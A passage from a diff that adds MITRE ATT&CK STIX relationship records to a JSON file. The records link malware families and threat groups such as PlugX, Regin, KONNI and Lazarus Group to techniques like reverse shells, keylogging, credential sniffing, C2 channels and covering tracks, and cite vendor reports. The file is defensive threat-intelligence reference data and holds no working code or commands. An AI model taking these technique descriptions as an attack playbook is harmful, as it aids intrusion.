Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) allows actors to spawn a reverse shell on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.882Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system. [FLASHFLOOD](https://attack.mitre.org/software/S0036) will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. [FLASHFLOOD](https://attack.mitre.org/software/S0036) also collects information stored in the Windows Address Book.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--18324fed-7770-4768-b652-59860ac4782f", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes the netstat -ano command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--705fdfa4-6b23-480c-b31a-eadb41533439", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Rundll32 for executing the dropper program.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b697e1d0-b537-4be0-bd16-fd3f7ade80e8", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.710Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of listing files, folders, and drives on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) persistence mechanism.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Base64 to encode C2 traffic.", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21caad94-1568-4e40-8e38-c0f7e854aede", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:05.974Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baabf444-1748-472f-b991-7a5b25e4e1bb", + "external_references": [ + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with [China Chopper](https://attack.mitre.org/software/S0020).", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.299Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588", + "external_references": [ + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors installed a credential logger on Microsoft Exchange servers. [Threat Group-3390](https://attack.mitre.org/groups/G0027) also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "modified": "2019-07-14T21:15:55.297Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) copies files from removable drives to C:\\system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9cef6fec-e4eb-49eb-85db-880138f335bd", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) deletes any temporary files it creates", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08b4b3f1-3c20-4e70-8a42-99fd5f191b12", + "external_references": [ + { + "source_name": "alientvault macspy", + "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", + "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used HTTP for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a549ccf7-8610-4cf8-80d7-98491566c0cd", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) can use multiple C2 channels, including RSS feeds, Github, forums, and blogs. [BADNEWS](https://attack.mitre.org/software/S0128) also collects C2 information via a dead drop resolver.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) has the capability to perform keylogging.", + "type": "relationship", + "created": "2019-01-31T00:36:41.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e77c6605-41e9-470f-80fc-2a383aeccc5e", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:18.970Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.953Z", + "type": "relationship", + "created": "2019-01-31T01:07:58.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e725bb68-9fe3-4c43-8ef5-57d57b40b066", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has accessed and hijacked email communications using stolen credentials.", + "type": "relationship", + "created": "2019-01-31T02:01:45.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9267a72-00d7-438b-8c41-af72021e89d0", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.259Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has deleted and overwrote files to cover tracks.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "modified": "2019-03-25T14:25:29.581Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to subvert controls and possibly conceal command execution by not directly invoking [cmd](https://attack.mitre.org/software/S0106).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b746637-fef8-474e-8960-822d758fb9b3", + "external_references": [ + { + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.", + "url": "https://twitter.com/vector_sec/status/896049052642533376" + }, + { + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.", + "url": "https://twitter.com/Evi1cg/status/935027922397573120" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) uses multiple proxies to obfuscate network traffic from victims.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "modified": "2019-04-29T18:13:09.097Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.302Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to scan for open ports on hosts in a connected network.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db85ce33-98cf-4fec-93bd-402909cbe4bc", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.641Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0741e02b-edaa-43a4-a96c-d6baf2d29015", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.192Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can delete malware and associated artifacts from the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) creates a new thread implementing a 